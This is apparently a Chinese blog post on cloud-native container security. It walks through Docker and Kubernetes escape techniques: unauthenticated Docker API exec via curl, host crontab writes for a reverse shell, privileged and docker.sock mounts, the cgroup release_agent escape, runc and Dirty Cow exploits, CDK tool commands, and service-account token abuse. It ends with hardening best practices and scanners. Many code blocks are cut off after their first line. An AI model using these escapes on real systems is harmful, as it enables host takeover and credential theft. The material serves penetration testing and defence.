云原生的代表技术包括容器、服务网格(Service Mesh)、微服务(Microservice)、不可变基础设施和声明式API。
你可以分层去考虑安全性,云原生安全的 4 个 C 分别是云(Cloud)、集群(Cluster)、容器(Container)和代码(Code)。
云原生安全模型的每一层都是基于下一个最外层,代码层受益于强大的基础安全层(云、集群、容器)。你无法通过在代码层解决安全问题来为基础层中糟糕的安全标准提供保护。
如果该进程就是应用进程则判断是容器,而如果是 init 进程或者 systemd 进程,则不一定是容器,当然不能排除是容器的情况,比如 LXD 实例的进程就为/sbin/init。
1 |
ps -p1 |
容器和虚拟机不一样的是,容器和宿主机是共享内核的,因此理论上容器内部是没有内核文件的,除非挂载了宿主机的/boot目录。
1 |
KERNEL_PATH=$(cat /proc/cmdline | tr ' ' '\n' | awk -F '=' '/BOOT_IMAGE/{print $2}') |
/proc/1/cgroup
是否存在含有docker字符串,并且这条命令可以获取到docker容器的uuid。
1 |
cat /proc/1/cgroup |
.dockerenv
文件
容器是通过 cgroup 实现资源限制,每个容器都会放到一个 cgroup 组中,如果是 Docker,则 cgroup 的名称为
docker-xxxx
,其中xxxx为 Docker 容器的 UUID。而控制容器的资源,本质就是控制运行在容器内部的进程资源,因此我们可以通过查看容器内部进程为 1 的 cgroup 名称获取线索。
1 |
ls -la /.dockerenv |
1 |
sudo readlink /proc/1/exe |
1 |
docker swarm 是一个将docker集群变成单一虚拟的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展,由docker官方提供 |
docker swarm是管理docker集群的工具。主从管理、默认通过2375端口通信。绑定了一个Docker Remote API的服务,可以通过HTTP、Python、调用API来操作Docker。
漏洞环境搭建
使用vulhub搭建漏洞环境: docker daemon api 未授权访问漏洞
漏洞利用一 容器RCE
1 |
curl -i -s -X GET http://<docker_host>:PORT/containers/json |
1 |
POST /containers/<container_id>/exec HTTP/1.1 |
bash 命令
1 |
curl -i -s -X POST \ |
1 |
POST /exec/<exec_id>/start HTTP/1.1 |
bash命令
1 |
curl -i -s -X POST \ |
漏洞利用二 宿主机RCE
利用方法是,我们随意启动一个容器,并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell。
1 |
import docker |
使用cdk进行漏洞利用
使用cdk直接执行命令:
1 |
./cdk run docker-api-pwn http://127.0.0.1:2375 "touch /host/tmp/docker-api-pwn" |
挂在宿主机根目录/到容器内部/host,然后执行用户输入的指令来篡改宿主机的文件,比如可以写/etc/crontab来搞定宿主机。
1 |
当操作者执行docker run --privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。 |
1 |
sudo docker run -itd --privileged ubuntu:latest /bin/bash |
1 |
查看磁盘文件: fdisk -l |
使用cdk:
1 |
./cdk run mount-disk |
Docker 通过Linux namespace实现6项资源隔离,包括主机名、用户权限、文件系统、网络、进程号、进程间通讯。但部分启动参数授予容器权限较大的权限,从而打破了资源隔离的界限。
1 |
--cap-add=SYS_ADMIN 启动时,允许执行mount特权操作,需获得资源挂载进行利用。 |
1 |
在容器内root用户 |
我们需要一个cgroup,可以在其中写入notify_on_release文件(for enable cgroup notifications),挂载cgroup控制器并创建子cgroup,创建/bin/sh进程并将其PID写入cgroup.procs文件,sh退出后执行release_agent文件。
1 |
# On the host |
查看导出的文件
1 |
ls /tmp/cgrp |
1 |
docker run -itd -v /dir:/dir ubuntu:18.04 /bin/bash |
1 |
docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu |
1 |
apt-update |
1 |
docker run -it -v /:/host ubuntu:18.04 /bin/bash |
1 |
chroot /test |
使用cdk工具执行命令:
1 |
./cdk run docker-sock-pwn /var/run/docker.sock "touch /host/tmp/pwn-success" |
1 |
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时 |
漏洞利用过程比较复杂,但是可以通过cdk快速利用。example:
1 |
./cdk run mount-cgroup "<shell-cmd>" |
Docker、containerd或者其他基于runc的容器运行时存在安全漏洞,攻击者通过特定的容器镜像或者exec操作可以获取到宿主机的runc执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。
Docker版本 < 18.09.2
runc版本 <= 1.0-rc6。
使用POC:
1 |
vi main.go |
1 |
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go |
docker exec
连接容器
当Docker宿主机使用cp命令时,会调用辅助进程docker-tar,该进程没有被容器化,且会在运行时动态加载一些libnss.so库。黑客可以通过在容器中替换libnss.so等库,将代码注入到docker-tar中。当Docker用户尝试从容器中拷贝文件时将会执行恶意代码,成功实现Docker逃逸,获得宿主机root权限。
Docker 19.03.0
Docker Patched the Most Severe Copy Vulnerability to Date With CVE-2019-14271
CVE-2019-13139 - Docker build code execution
1 |
Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,通过它可实现Docker容器逃逸,获得root权限的shell。 |
Docker 与 宿主机共享内核,因此容器需要在存在dirtyCow漏洞的宿主机里。
环境获取:git clone https://github.com/gebl/dirtycow-docker-vdso.git
CDK: https://github.com/cdk-team/CDK
复制到container内
1 |
# 宿主机 |
1 |
# 信息收集 |
通过cdk的evaluate的检测项,可以看一下k8s的安全问题。
kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.2.0/aio/deploy/recommended.yaml
kubectl proxy
http://localhost:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/
创建一个用户:
1 |
kubectl apply -f dashboard-adminuser.yaml |
dashboard-adminuser.yaml 内容如下:
1 |
apiVersion: v1 |
获取token
1 |
kubectl -n kube-system describe secret $(kubectl -n kube-system get secret | grep admin-user | awk '{print $1}') |
攻击者可能通过同一局域网下的容器,或在集群节点上访问同一个二层域下的相邻节点上绑定监听了本地127.0.0.1端口的TCP/UDP服务,从而获取接口信息。
详细介绍可以参考: CVE-2020-8558:Kubernetes 本地主机边界绕过漏洞通告
列出可能受影响的服务:
1
2 lsof +c 15 -P -n [email protected] -sTCP:LISTEN
lsof +c 15 -P -n [email protected]K8s Api-server
检查ENV信息判断当前容器是否属于K8s Pod,获取K8s api-server连接地址并尝试匿名登录,如果成功意味着可以直接通过api-server接管K8s集群。
参考: https://github.com/cdk-team/CDK/wiki/Evaluate:-K8s-API-Server
前提是必须k8s支持匿名登录,默认是不支持匿名登录的。如果存在这个问题,可以用
cdk kcurl anonymous去发起HTTP请求。K8s Service Account
K8s集群创建的Pod中,容器内部默认携带K8s Service Account的认证凭据(/run/secrets/kubernetes.io/serviceaccount/token),CDK将利用该凭据尝试认证K8s api-server服务器并访问高权限接口,如果执行成功意味着该账号拥有高权限,您可以直接利用Service Account管理K8s集群。
测试如下:
通过cdk连接K8s api-server发起自定义HTTP请求:
先通过
cdk evaluate判断是否存在这个问题再获取k8s的api-server地址:
然后通过
cdk kcurl进行请求之后使用CDK可以部署后门Pod和影子k8s api-server。
容器安全最佳实践
- Container
- 始终使用最新版本的Docker
- 仅允许受信任的用户控制Docker守护程序
- 确保有适当的规则,可以提供以下方面的审查
- Docker守护程序
- Docker文件和目录
- /var/lib/docker
- /etc/docker
- Docker.service
- Docker.socket
- /etc/default/docker
- /etc/docker/daemon.json
- /etc/sysconfig/docker
- /usr/bin/containerd
- /usr/sbin/runc
- 确保所有Docker文件和目录归适当的用户(通常是root用户)所有,并将其文件权限设置为限制性值,以保护所有Docker文件和目录
- 使用具有有效注册表证书的注册表或使用TLS的注册表,以最大程度地减少流量拦截的风险。
- 如果您使用的容器中没有在映像中定义显式容器用户,则应启用用户名称空间支持,这将允许您将容器用户重新映射为主机用户。
- 禁止容器获取新特权。默认情况下,允许容器获取新特权,因此必须显式设置此配置。您可以采取的最小化特权升级攻击的另一步骤是删除映像中的setuid和setgid权限。
- 以非root用户(UID不为0)运行容器。默认情况下,容器以root用户身份以容器内的root用户身份运行。
- 构建容器时,请仅使用受信任的基本映像。
- 使用不包含可能导致更大攻击面的不必要软件包的最小基础映像。
- 实施强有力的治理策略,以强制进行频繁的图像扫描。
- 构建一个工作流,该工作流定期标识并从主机中删除陈旧或未使用的图像和容器。
- 不要将机密存储在映像/ Dockerfile中。默认情况下,允许您将机密存储在Dockerfile中,但是将机密存储在映像中将使该映像的任何用户都可以访问该机密。
- 运行容器时,请删除容器按需运行所需的所有功能。
- 不要使用–privileged标志运行容器,因为这种类型的容器将具有底层主机可用的大多数功能。该标志还将覆盖您使用CAP DROP或CAP ADD设置的所有规则。(添加–no-new-privileges标志,始终使用来运行docker映像,–security-opt=no-new-privileges以防止使用setuid或setgid二进制文件升级特权。)
- 不要在容器上挂载敏感的主机系统目录,尤其是在可写模式下,这可能会使它们暴露于恶意更改之下,从而导致主机受损。
- 不要在容器中运行sshd。默认情况下,ssh守护程序将不会在容器中运行,并且您不应该安装ssh守护程序来简化SSH服务器的安全性管理
- 不要在容器内映射1024以下的任何端口,因为它们会传输敏感数据,因此会被视为特权端口。默认情况下,Docker会将容器端口映射到49153-65525范围内的端口,但它允许将容器映射到特权端口。根据一般经验,请确保仅在容器上打开需要的端口。
- 除非必要,否则不要共享主机的网络名称空间,进程名称空间,IPC名称空间,用户名称空间或UTS名称空间,以确保Docker容器与基础主机之间的正确隔离。
- 指定容器按设计运行所需的内存和CPU数量,而不是依赖于任意数量。默认情况下,Docker容器无限制地平均共享其资源。
- 将容器的根文件系统设置为只读。一旦运行,容器就不需要更改根文件系统。对根文件系统进行的任何更改都可能出于恶意目的。为了保留容器的不变性-不修补新容器而是从新映像重新创建容器-您不应使根文件系统可写。
- 施加PID限制。容器的优点之一是严格的过程标识符(PID)控制。内核中的每个进程都承载唯一的PID,容器利用Linux PID名称空间为每个容器提供PID层次结构的单独视图。对PID设置限制可有效限制每个容器中运行的进程数。限制容器中的进程数可以防止新进程的大量产生以及潜在的恶意横向移动。施加PID限制还可以防止叉子炸弹(不断自我复制的过程)和异常过程。通常,这样做的好处是,如果您的服务始终运行特定数量的进程,那么将PID限制设置为确切的数量可以缓解许多恶意行为,包括反向Shell和远程代码注入–实际上,
- 不要将您的挂载传播规则配置为共享。共享挂载传播意味着对挂载所做的任何更改都将传播到该挂载的所有实例。而是将挂载传播设置为从属模式或私有模式,以便对卷进行的必要更改不会与不需要该更改的容器共享(或传播到该容器)。
- 不要将docker exec命令与privated或user = root选项一起使用,因为此设置可以使容器具有扩展的Linux功能
- 不要使用默认网桥“ docker0”。使用默认网桥可以让您轻松应对ARP欺骗和MAC泛洪攻击。相反,容器应位于用户定义的网络上,而不是默认的“ docker0”网桥。
- 不要将Docker套接字安装在容器内,因为这种方法将允许容器内的进程执行命令,使其完全控制主机。
- 规则5-禁止容器间通讯(–icc = false)
- 使用Linux安全模块(seccomp,AppArmor或SELinux)
- 规则7-限制资源(内存,CPU,文件描述符,进程,重新启动)
- 规则#8-将文件系统和卷设置为只读
- 规则10-将日志记录级别至少设置为INFO¶
- Kubernetes安全最佳实践
- 对于RBAC,请为特定用户或用户组指定您的Roles和ClusterRoles,而不是向任何用户或用户组授予cluster-admin特权。
- 使用Kubernetes RBAC时避免重复权限,因为这样做可能会导致操作问题。
- 删除未使用或不活动的RBAC角色,以便在对故障进行故障排除或调查安全事件时将注意力集中在活动的角色上。
- 使用Kubernetes网络策略隔离您的Pod,并明确允许应用程序正常运行所需的通信路径。否则,您将同时遭受横向和南北威胁。
- 如果您的Pod需要Internet访问(入口或出口),则创建适当的网络策略以实施正确的网络分段/防火墙规则,然后创建该网络策略所针对的标签,最后将您的Pod与该标签关联。
- 使用PodSecurityPolicy准入控制器可以确保实施适当的管理策略。PodSecurityPolicy控制器可以阻止容器以root身份运行,或者确保容器的根文件系统以只读方式安装(这些建议听起来很耳熟,因为它们都在之前要采取的Docker措施清单中)。
- 使用Kubernetes准入控制器来实施映像注册表管理策略,以便自动拒绝从不受信任的注册表中获取的所有映像。
- 上次扫描日期超过60天的主机上有多少张图像?
- 多少个图像/容器具有高严重性漏洞?
- 这些高度严重的易受攻击的容器会影响哪些部署?
- 受影响的部署中是否有任何存储秘密的容器?
- 是否有任何易受攻击的容器以root身份或特权标志运行?
- Pod中是否有没有与之关联的网络策略(意味着它允许所有通信)的易受攻击的容器?
- 生产中运行的任何容器都会受到此漏洞的影响吗?
- 我们正在使用的图像来自哪里?
- 我们如何阻止从不受信任的注册表中提取的图像?
- 我们能够查看容器运行时正在执行哪些进程吗?
- 哪些集群,名称空间和节点不符合Docker和Kubernetes的CIS基准测试?
- Dockerfile需要注意的问题
- 确保USER已经被指定
- 确保基本的镜像版本已经固定
- 确保操作系统包版本已经固定
- 避免使用ADD,尽量使用COPY
- 避免使用
apt/apk upgrade- 避免在RUN指令中调用curl获取bash文件
- 静态分析工具
- https://github.com/coreos/clair
- https://github.com/aquasecurity/trivy
- https://snyk.io/
- https://anchore.com/opensource/
- https://github.com/aquasecurity/microscanner
- https://jfrog.com/xray/
- https://www.qualys.com/apps/container-security/
- https://www.inspec.io/docs/reference/resources/docker/
- https://dev-sec.io/baselines/docker/
- k8s config扫描工具
- https://github.com/Shopify/kubeaudit
- https://kubesec.io/
- https://github.com/aquasecurity/kube-bench
- 美团技术团队-云原生之容器安全实践
- 云原生安全概述-Kubernetes
- Container Security:Going Beyond Image Scanning
- Docker Container Security 101: Risks and 33 Best Practices
- Docker安全备忘单
- [ https://resources.whitesourcesoftware.com/blog-whitesource/docker-container-security] (Docker Container Security: Challenges and Best Practices)
- Docker逃逸小结第一版 更新
- 渗透测试之Docker逃逸
- CDK Home CN
- 【云原生攻防研究】容器逃逸技术概览
- 容器逃逸技术概览